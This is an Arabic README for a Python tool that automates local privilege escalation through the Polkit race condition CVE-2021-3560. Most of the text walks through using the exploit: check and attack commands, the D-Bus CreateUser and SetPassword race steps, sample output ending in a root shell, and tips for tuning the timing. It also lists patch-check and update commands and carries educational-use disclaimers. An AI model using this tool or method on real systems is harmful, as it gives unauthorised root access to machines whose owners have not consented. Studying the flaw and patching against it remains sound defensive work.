
استغلال لثغرة CVE-2021-3560 في Polkit لتصعيد الامتيازات محليًا
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
أداة استغلال آلية لثغرة CVE-2021-3560 التي تؤثر على PolicyKit (Polkit) في أنظمة لينكس.
⚠️ تحذير: هذه الأداة مخصصة للأغراض التعليمية والتدريب على الأمن السيبراني فقط في بيئة مختبرية خاضعة للتحكم. الاستخدام غير المصرح به لهذا الاستغلال على أنظمة لا تملكها يعد غير قانوني.
CVE-2021-3560 هي ثغرة سباق حالة (race condition) محلية في PolicyKit (polkit) تسمح لمستخدم غير مميز بالحصول على صلاحيات الجذر (root) على أنظمة لينكس القابلة للتأثر.
تؤثر الثغرة على فرعين من Polkit بترقيم إصدارات مختلف:
bfa5036 (الإصدار 0.113)f81d021 (الإصدار 0.105-26)📝 ملاحظة: الأنظمة التي تم تطبيق التصحيحات الأمنية عليها (مثل: ubuntu1.1، deb10u1) ليست قابلة للتأثر.
يتطلب الاستغلال الأدوات التالية (يتم التحقق منها تلقائيًا):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
تحقق مما إذا كان النظام قابلاً للتأثر دون تشغيل الاستغلال:
python3 CVE-2021-3560_Polkit.py --check
مثال على المخرجات:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
إنشاء مستخدم بصلاحيات مميزة:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
مثال:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
يستغل هذا الاستغلال سباق حالة (race condition) في PolicyKit أثناء معالجة طلبات D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
قم بتحديث PolicyKit:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
تحقق من الإصدار:
pkexec --version
# Must be >= 0.119 (upstream) or patched
تحقق من التصحيحات الأمنية:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
يعتمد الاستغلال على سباق حالة (race condition)، مما يعني:
الإصدارات التالية تتضمن تصحيحات أمنية وليست قابلة للتأثر:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, إلخ. (Ubuntu مُصَحَّح)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, إلخ. (Ubuntu مُصَحَّح)0.105-31+deb11u1 (Debian 11 مُصَحَّح)polkit-0.115-11.el8_4.1 (RHEL 8 مُصَحَّح)ملاحظة: إذا كان نظامك يظهر كقابل للتأثر لكن الاستغلال يفشل مع أخطاء PermissionDenied، فغالبًا لأن الإصدار مُصَحَّح. سيكتشف الاستغلال الآن هذه الإصدارات المُصَحَّحة بشكل صحيح.
إذا فشل الاستغلال:
تحقق من إصدار بايثون (إذا حصلت على TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
تحقق مما إذا كان الإصدار مُصَحَّحًا:
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
تحقق من accountsservice:
systemctl status accounts-daemon
تحقق من D-Bus:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
قم بالتشغيل عبر SSH بدلاً من وحدة التحكم المحلية
اضبط التوقيت عن طريق تعديل optimal_timing في الكود
Seimu
هذا المشروع مخصص للأغراض التعليمية فقط. استخدام هذا الكود في أنشطة غير مصرح بها ممنوع منعًا باتًا وقد يؤدي إلى إجراءات قانونية.
⚠️ إخلاء مسؤولية: المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة. استخدمها فقط في بيئات الاختبار المصرح بها.
| التوزيعة | إصدار Polkit | قابلة للتأثر؟ |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ نعم |
| Ubuntu 18.04 | 0.105-20 | ❌ لا |
| Debian testing "bullseye" | 0.105-31+ | ✅ نعم |
| Debian 10 "buster" | 0.105-25 | ❌ لا |
| RHEL 8 | 0.115-11+ | ✅ نعم |
| RHEL 7 | < 0.113 | ❌ لا |
| Fedora 21+ | 0.113+ | ✅ نعم |
| Fedora 20 وما قبلها | < 0.113 | ❌ لا |